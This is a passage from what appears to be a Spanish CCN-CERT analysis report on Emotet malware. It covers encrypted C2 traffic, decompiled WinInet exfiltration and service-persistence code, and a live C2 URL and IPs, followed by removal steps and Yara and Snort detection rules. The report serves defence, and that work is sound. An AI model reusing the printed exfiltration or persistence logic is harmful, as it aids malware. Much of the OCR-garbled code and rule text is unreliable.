002708D8 |52 &E 31 4A|S5A 69 78 44|4E 74 36 25|32 46 7A 62 |RN1IZIXDNTE¥2Fzh
73 53 gD 73| e0X6TYbquM4ESSMS

D0270BFE| 326 4A 59 4E |63 44 70 4D |47 48 6F 43 50 632 31 4D | 6JYNCDPMGHOCPCIM
00270C08|38 54 43 53|4E 4F 77 4D |76 67 48 71|77 25 32 46| STCSNOWMVOHOWHZF
00270C18|6C 68 6D 78|46 69 41 54(68 79 62 78|6D 76 73 7A| 1kmxFiAThybxmvsz
00270C28| 6F 58 47 59|69 33 39 70|55 45 52 56|25 32 46 61| 0XGY13I9pUERVHZFA
00270C38|7A 38 57 6F|(50 78 41 53(32 25 32 46(34 58 4A 63| ZBWOPXAS2%2F4XIC
00270C48|33 70 6E 7A|4F 6B 25 32|46 75 59 4B |70 6F 30 46| 3pnzOk%2FUuYKpoOF
00270C58|34 66 46 58|75 78 6B 5534 36 34 48|46 43 52 44| ATFXuxkU464HFCRD
00270C68(4D 79 30 54(52 71 66 71(gE 34 48 75 (34 70 43 47 |MyOTRQFQk4HU4pCG
00270C78|4E 77 47 68|36 37 &5 54|7A 43 77 4E|64 32 38 64| NwGh&7eTzCwNd28d
00270C88(69 61 58 49|34 77 75 39(58 55 53 73|62 6A 73 47 |1aXI4wu9XYSsbisG
00270C98| 67 61 54 34|33 4B 38 79|69 39 52 78 54 35 7B 74| gaT43KBYTIRXTEXT
00270CAB|4F 37 25 32|46 38 74 7A[35 65 6C 72|49 47 56 51|07%2F8tz5elrIGvy
00270CEB8 |77 4A 4A 25|32 46 44 74|45 37 72 32|39 66 4B 43 | wl1I%2ZFDTE7r29fKC
00270CCE|4C 55 4B 44(6D 42 58 45 (25 33 44 00(9E 80 C6 78| LUKDMBXEX3D. . .Ax
00270CD8|64 79 73 55(70 48 33 33[6F 50 43 34 |6F 55 70 30 ggsuwsaopcwuw
Teeee T owE

00270BEB|65 30 58 36(54 59 62 71|75 4D 34 45

0027ocEg|A8 E1 B9 1El00 00 00 Aolig oF 27 oolso 77 25 0o

Figura 25. WinlInet (envi6 de datos cifrados via HttpSendRequestW)

0013F1F4 (| oOCCOO0B,
ooisF1Fe Loo18FaDs,

0018F200 | 0018F220| L vermont /"
00138F204 (| 0018F620| L"Referer:
0018F208 || 000001DC
oo1srFzoc (| ooz7oAcs,
0015F210 | 00000208,
0018FAAC

000D7187
0|l ooesoo7e
006D0072
O0BEQOGF
002F007 4|
00000000
00000000
00000000
00000000
0| oooooooo
00000000
0015F245 | 00000000,
oo18Fz4c | oooooooo!
0015F250 || 00000000,
0018F 25 4 | 00000000,
0012F258 || 00000000,
00000000
00000000
00000000
00000000
00000000
00000000
00000000

00232976( L"--234032eb"

0018F1FC [F00406209| volver a folderschunk.00406209 de Tolderschunk.00401404

http://46.41.134.46/vermont/\r\nContent-Type: app

En la siguiente imagen se muestra la légica de las comunicaciones. En la parte

izquierda aparecen las principales APIs, pertenecientes a Winlnet, para gestionar el

envio de la informacion cifrada via HTTP. Una vez HttpSendResquestW remite la

informacidn al destino, la funcidn receive_response sera la responsable de recuperar la

respuesta del servidor de control.

V8 = al;
vl = a2
u3 = ObtainUserAgent();
1o = 05
VIl = v9;
V20 = v9;
v12 = InternetOpeni(v9, @, @, @, 8);
V19 = vz
if (viz)
{
V13 = InternetConnecti(viz, v21, vi, ©, @, 3, 8, @);
V22 = vi3;
if (vi3)
{

vl4 = sub_4@1A52(&unk_410038, 208964369);
Vi = sub_481310();
Vis = @
if (55)
vl5 = vi4;
v16 = HttpOpenRequestW(v13, v1s, a3, @, @, @, v13, @);
j_heap_free(vi<);
i (s )

if ( HttpSendRequestW(\i6, a4, -1, 26, =7) & sub/4@1316(v16, 19) == 288 )
V17 =receive_respanse(uis, (int *Jbuffer cli)j]
InternetCivseHaMIIe(Too)T

InternetCloselandle(v22);
Vi1 = v28;

}
InternetCloseHandle(v19);
}
heap_free(vil);

return v10;

}

V3 = HttpQueryInfo(al, 5);
boolapi = 8;

vi = 8;

if (v3)

{
Ipbuffer = (char *)AllocateHeap(v3);
if ( lpbuffer )

1pduhiunber0fBytesRead = B;
if (v3)

while (1)

VB = boolapty
if ( Iboolapi )

break;
if ( lpdwhumberOfBytesRead )

totalbytes += lpdwhunberfBytesRead;
if ( totalbytes < v3 )
continue;

}
goto LABEL_9;

}
heap_free(lpbuffer);
boolapi = v8;

if (B )

{
ABEL_9:
*6 = (int)Ipbuffer;
v6[1] = totalbytes;

}

{
boolapi =|InternetReadFile(hfile, &lpbuffer[totalbytes], v3 - totalbytes, &lpdullunber0fByteshead);

Figura 26. Gestion de las comunicaciones

Cabe destacar que el modus operandi utilizado por la muestra analizada de

Emotet para ofuscar, cifrar y remitir la informacién parece coincidir en gran medida

con la descrita por Fortinet en su analisis “A Deep Dive into the Emotet Malware”
publicado el 6 de junio de este mismo afio. Remitase a la referencia adjunta [REF.- 10]

para mas informacion.
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8. PERSISTENCIA

Durante el proceso de infeccidn, el binario folderschunk.exe es el responsable de
generar persistencia por medio de la clave
“HKCU\Software\Microsoft\Windows\CurrentVersion\Run”. Téngase en cuenta que el
nombre de dicho proceso puede variar, coincidiendo en cualquier caso con el
directorio creado en “c:\Users\<username>\AppData\Local”. Por ejemplo, otras
instalaciones de Emotet [REF.- 6] han descargado el binario easywindows dentro del
directorio “C:\Users\admin\AppData\Local\easywindow\”.

&Y Editor del Registro
Archivo Edicion  Ver Favoritos Ayuda

- | NetCache || Nombre Tipo Datos
: ;:'[')T; ab] (Predeterminada) REG_SZ {valor no establecido)
: m ﬂ}folderschunké REG_SZ "C\Users\ I AppDatatLocal\folderschunk\folderschunk.exe”
. Run
i il RunCnree S
< ] 3

Equipo\HKEY_CURRENT_USER'\Software\Microsoft\Windows\CurrentVersion\Run
Figura 27. Persistencia

El codigo dafiino también dispone de la capacidad de crear un servicio como
método de persistencia. Para ello comprobara si tiene permisos administrativos
invocando a la APl OpenSCManager. En caso afirmativo creard un nuevo servicio
apuntando al binario "folderschunk".

12| schandle = OpenSCManageri(@, @, 983103);
13| if ( schandle )

15| vz = (const wchar_t *)sub_481A52(8unk_4109A6, 1505878074);
16 smuprintf(&path_folderschunk, @x184u, v2, &word_413F88);
17 sub_401809 H

18| SC HANDLE = CreateServicel(schandle,|aFolderschunk, aFolderschunk)-183
19| if ( SC_HANDLE )

16, 2, @, &osth folderschunk, ©, @, @, @, @);

{
21 if ( sub_48DEBS(schandle, &u6) )

22 { IDA View-A

23 ChangeServiceConfig2W(SC_HANDLE, 1, v6);

24 sub_281532((void *)v6); .data:Be4136F0 text "UTF-16LE", |'folderschunk’,®
25 } .data:0e413CeA db o
26 } .data:Be413Ce8 db 0
27 else .data:0e413cec db o
28 { .data:08413C0D db 0
29 SC HANDLE = OpenServiceW(schandle, aFolderschunk, 16); data:Be413C0E b e
B } .data:Be413C0F db @
31 if ( SC_HANDLE ) .data:08413C18 db @
32 { .data:ee413C11 db 0
33 vo =[Startservice(sC_HADLE, @, @);] data:0641312 b e
34 CloseServiceHandle(SC_RANDLE); .data:8e413¢13 db e

Figura 28. Servicio

Una forma de listar los servicios disponibles en el sistema es empleando, desde
la linea de comandos, la orden “sc query”. Para listar la ruta al binario asociado con un
servicio determinado puede utilizarse la orden “sc gc <nombre del servicio>" (por
ejemplo: sc query folderschunk). Si se identifica el servicio dafiino asegurese de parar el
mismo mediante la orden “sc stop <nombre del servicio>” (por ejemplo: sc stop
folderschunk). Dicha instruccidn tendra que emitirse desde una linea de comandos con
derechos administrativos. Posteriormente, eliminese el binario dafino responsable del
servicio si previamente no se ha hecho. Este binario se corresponderia con el mismo
indicado en la clave de registro previamente descrita.
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9. DETECCION Y ELIMINACION

El dltimo proceso generado por Emotet es el responsable de crear persistencia
por medio de la clave de registro o el servicio descrito en el punto anterior. Téngase en
cuenta, que Emotet funciona a modo de dropper de otros cédigos dafiinos como, por
ejemplo, Trickbot. Esto implica que el malware descargado puede crear, a su vez,
nuevos vectores de persistencia. Debido a estos hechos la eliminacidon de la entrada
correspondiente en la clave de registro:

“HKCU\Software\Microsoft\Windows\CurrentVersion\Run”

O la eliminacion del servicio no garantizaria la desinfeccion completa de la
amenaza.

Para identificar Emotet de forma automatizada remitase a la regla de Yara
descrita en el anexo. Por otro lado, para determinar si un equipo pudiera o no estar
infectado con Emotet utilizando un enfoque manual se recomienda observar los
procesos ejecutandose mediante la herramienta Process Explorer [REF.- 11];
concreto aquellos ejecutandose desde la ruta “c:\Users\<username>\AppData\Local”.
Las propiedades del binario daiiino detallan que la compafia del mismo es “Microsoft
Corporation” simulando ser una aplicacién legitima; no obstante, el binario no esta
firmado. Desde la columna “Verified Signer” y posteriormente habilitando la opcidn
“Options -> Verify Image Signatures” es posible identificar rapidamente los binarios no
firmados. Merecen especial atenciéon aquellos cuya compania es “Microsoft
Corporation” pero que carecen de firma; como es el caso de Emotet.

Asimismo, asegurese de instruir a Process Explorer a realizar una busqueda por
hash de los procesos en ejecucién para identificar instancias de Emotet. En la siguiente
imagen se observa que el proceso folderschunk.exe tiene una tasa de deteccion de
52/70 segun el reporte de VirusTotal.

Process CPU  Private Bytes Working Set PID  Description Company MName VirusTotal  Verfied Signer
= [mcsmss.exe 112 425K 11564 K 400 Proceso en tiempo de ejecu...  Microsoft Corporation 0/69 (Werified) Microsoft Windows
B8 conhost exe 0 1984 K 6012K 2056 Host de ventana de consola ~ Microsoft Corporation /67 (Verified) Microsoft Windows
n winlogon exe 3300K T932K 440 Aplicacion de inicio de sesid... Microsoft Corporation 70 (Verified) Microsoft Windows
== explorer exe 2386 108312K 103552 K 2504 Explorador de Windows Microsoft Corporation ~ 0/67 (Verfied) Microsoft Windows
W% VBox Tray exe <001 2880K 7596 K 2852 VirtualBox Guest Additions Tr.... Oracle Corporation /68 (Verfied) Oracle Corporation
n.}H:vmce:q:n‘i‘lame 145 25592 K 40956 K 3680 Sysintemals Process Explorer  Sysintemals - www.sysi... 070 (Verified) Microsoft Corporation
[ cmd e 242K 3416 K 2904 Procesador de comandos de... Microsoft Corporstion 0/69 lerfied) Microsoft Windows
u olderschunk exe 1976 MSXML 6.0 SP3 Microsoft Corporation (No hay ninguna firma presente en el sujeta) Microsoft Corporation

CPU Usage: 7.27%  Commit Charge: 6.79% Processes: 37 Physical Usage: 14.01% {_{ folderschunk.exe:1976 Properties

Ueritied: Unsig

Link date: 12: 45 25/39/2.19 Image |Parformanoe I Performance Graph | Disk and Network I Threads | T
Puhll..]lel

nsa

Microsoft Corporation Image File
MSXML 6.8 SP3
Mice « Uisual Studio .MET G MSXML 6.0 5P3
6.38 -18980

(No hay ninguna firma presente en el sujeto) Microsoft Corpe

n: - 8
HpE e T S oo ChBi0661 D76 EVBS 1513780 Yersin: - 7.0.52720
AFFCACD?9P@4@CFSEBBDAT3I5DFS C69 YEI4DACEAL Buid Time: Thu Sep 26 12:45:16 2019
415454R2EOPFCR4990D5 23 3R RSB 1376 4962 path:
56: 455579427306 DDBBD?ED 74402 B85376357CN2
: BBLCIREaED] CALE RER1 TRECAIDE CAFIPORGR] EAeaE OL705g PED 4L OB oS C:\Users) \AppData' ocal\folderschunkfolderschunk.exe
95540BF88C54B12F51A254CF419 CDB13

Command line:

Figura 29. Identificacion Emotet
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En el caso de identificar el espécimen asegurese de finalizar el proceso vy
posteriormente eliminar la entrada de registro indicada en el apartado anterior.

Respecto a las comunicaciones, Emotet asi como TrickBot emplean un elevado
numero de servidores de control y proxy en sus ficheros de configuraciéon. Se
recomienda actualizar a diario los firewalls/IDS/IPS con las blacklists disponibles en
abuse.ch y por el CCN-CERT:

e http://ccn-cert.net/emotet-ioc
e https://feodotracker.abuse.ch/browse/
e https://feodotracker.abuse.ch/downloads/ipblocklist.csv

Dichas listas mantienen un listado actualizado de servidores de control utilizados
por dichos especimenes, asi como el estado (online/offline) de los mismos.

Firstseen (UTC) | Host Malware = Status = SBL Network (ASN) Country
2019-10-10 03:06:56 4621.153.17  (EEE ([@EEED Notlisted AS35017 SWIFTWAY-AS Netherlands == Us
2019-10-10 02:51:56  31.202.132.155 m m Not listed  AS34700 CITYNET-AS Maxnet LLC = UA
2019-10-10 01:50:12  85.143.218.203 m SBL457039 AS201848 TRADERSOFT mm RU
2019-10-10 01:50:09  212.80.216.58 BIIIE Notlisted AS50673 SERVERIUS-AS =NL
2019-10-09 23:41:12  78.24.217.84 @IIED Notlisted AS29182 THEFIRST-AS = RU

Figura 30. Servidores de Control

Por otro lado, se recomienda llevar a cabo las medidas de prevencion recogidas
en el informe “Prevencion de la campaia de cddigo dafiino EMOTET con _medidas
técnicas de las quias CCN-STIC de ENS nivel ALTO” [REF.-12] publicado el 8 de octubre
de 2019 por parte del CCN-CERT.

Centro Criptoldgico Nacional USO OFICIAL




@l USO OFICIAL CN ) cm

CCN-CERT ID-XX/19 Cédigo Daiiino “Emotet” centro criptologico nadiona

10. REGLAS DE DETECCION

10.1 REGLA DE YARA

Utilicese la siguiente regla de Yara para identificar el binario principal de
infeccion utilizado en la campafa descrita. Es importante destacar el hecho de que los
binarios relacionados con Emotet estdn empaquetados y altamente ofuscados. Esto
complica la realizacion de reglas, basadas en caracteristicas estaticas del binario (por
ejemplo, strings, secciones, imports). Debido a este caracter polimérfico se
recomienda hacer uso de los recursos mencionados en el punto 9 para disponer de
reglas actualizadas que permitan identificar una gama mdas amplia de ataques
procedentes de Emotet.

import "pe"
rule emotet_exe{
meta:
description = "Emotet malware"
author = "CCN-CERT"
version = "1.0"
date = "2019-10-20"
hash1 = "affcacd99f040cfSebbda735df5c699e34dac5al"
strings:
Sx1 = "5TubgOcROd6MzAefB" fullword ascii
Sx2 = "NSk1A~CBckfAPWNU~XgKmjnEyD*Avep" fullword ascii
$x3 = "f7S~OXK4rE*bOdBIrT1xz|sgONXla4Ch" fullword ascii

condition:
uint16(0) == 0x5A4D and filesize < 400KB and any of them
and pe.sections[pe.section_index(".rsrc")].raw_data_size > 90000

fullword ascii
mjnEyD*Avep" fullword ascii

xz|sgoNXla4ch" fullwerd ascii

== 0x5A4D and filesize 0KB and any of them
and pe.sections[pe.section_index( rc")].raw_data_size > 90000

root@CCN-LAB: /tmp# yara -s emotet_657.yar 657.bin
657.bin
5TubgOcROd6MzAefB
mjnEyD*Avep
4rE*b0dBIrT1xz | sgONXla4Ch

Figura 31. Yara Rule
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10.2 REGLAS DE SNORT

Las siguientes reglas de Snort detectan la resolucién de ciertos dominios
embebidos en el powershell desde el cual se descarga y ejecuta Emotet en el
sistema. El objetivo de las mismas es frenar e identificar la amenaza en la fase
mas temprana; es decir, cuando se descarga Emotet. Téngase en cuenta que
algunos de estos dominios pueden corresponderse con sitios legitimos que han
sido comprometidos para almacenar el cédigo daiiino. Para disponer de un
listado de IP actualizado relacionado con los C2 de Emotet y Trickbot remitase

al punto 9.

alert udp SHOME_NET any -> SEXTERNAL_NET 53 (msg:"DNS request otc-manila.com (Emotet malware)"; flow:to_server;
byte_test:1,!&,0xF8,2; content:"|0A|otc-manila]03|com|00|"; fast_pattern:only; metadata:service dns; threshold:type limit,
track by_src, count 1, seconds 60; classtype:trojan-activity; sid:1000001; rev:1;)

alert udp SHOME_NET any -> SEXTERNAL_NET 53 (msg:"DNS request metaphysicalhub.com (Emotet malware)"; flow:to_server;
byte_test:1,!&,0xF8,2; content:"|OF| metaphysicalhub|03|com|00|"; fast_pattern:only; metadata:service dns; threshold:type
limit, track by_src, count 1, seconds 60; classtype:trojan-activity; sid:1000002; rev:1;)

alert udp SHOME_NET any -> SEXTERNAL_NET 53 (msg:"DNS request reportingnew.xyz (Emotet malware)"; flow:to_server;
byte_test:1,!&,0xF8,2; content:"|0C|reportingnew|03|xyz|00|"; fast_pattern:only; metadata:service dns; threshold:type limit,
track by_src, count 1, seconds 60; classtype:trojan-activity; sid:1000003; rev:1;)

alert udp SHOME_NET any -> SEXTERNAL_NET 53 (msg:"DNS request www.wisdomabc.com (Emotet malware)"; flow:to_server;
byte_test:1,!&,0xF8,2; content:" |03 |www |09 |wisdomabc|03|com |00|"; fast_pattern:only; metadata:service dns; threshold:type
limit, track by_src, count 1, seconds 60; classtype:trojan-activity; sid:1000004; rev:1;)

alert udp SHOME_NET any -> SEXTERNAL_NET 53 (msg:"DNS request www.mti.shipindia.com (Emotet malware)"; flow:to_server;
byte_test:1,!&,0xF8,2; content:"|03|www|03|mti|09|shipindia]03|com|00|"; fast_pattern:only; metadata:service dns;
threshold:type limit, track by_src, count 1, seconds 60; classtype:trojan-activity; sid:1000005; rev:1;)

# echo > /var/log/snort/alert
# snort -A full -r dns.pcapng -c fetc/snort/snort.conf -q -k none
# cat /var/log/snort/falert

[**] [1:1000001:1] DNS request otc-manila.com (Emotet malware) [**]
[Classification: A Networ ojan was detected] [Priority: 1]
10/10-17:12:47.034329 192 135:54774 -> 1.1.1.1:53

UDP TTL:64 TOS:0x0 ID:28610 IpLen:20 DgmLen:71 DF

Len: 43

[**] [1:1000005:1] DNS request www.mti.shipindia.com (Emotet malware) [**]
[Classificati A twe ojan was detected] [Priority: 1]

10/10-17:12 135:56872 -> 1.1.1.1:53

UDP TTL:64 TO0S:0x0 ID:30473 IpLen:20 DgmLen:78 DF

192.168.1.1:53
151620 IpLe DgmLen:74 DF

;o reportingnew.xyz (Emotet malware) [**]
[Classification: A ork jan was detected] [Priority: 1]
160/10-17:13: 2 135:41559 -> 1.1.1.1:53

64 :20 DgmLen:73 DF

metaphysicalhub.com (Emotet malware) [**]
ojan was detected] [Pric 1]
:11f3:cc94:4d01:157e:36114
:40 DgmLen:85

Figura 32. Reglas de Snort
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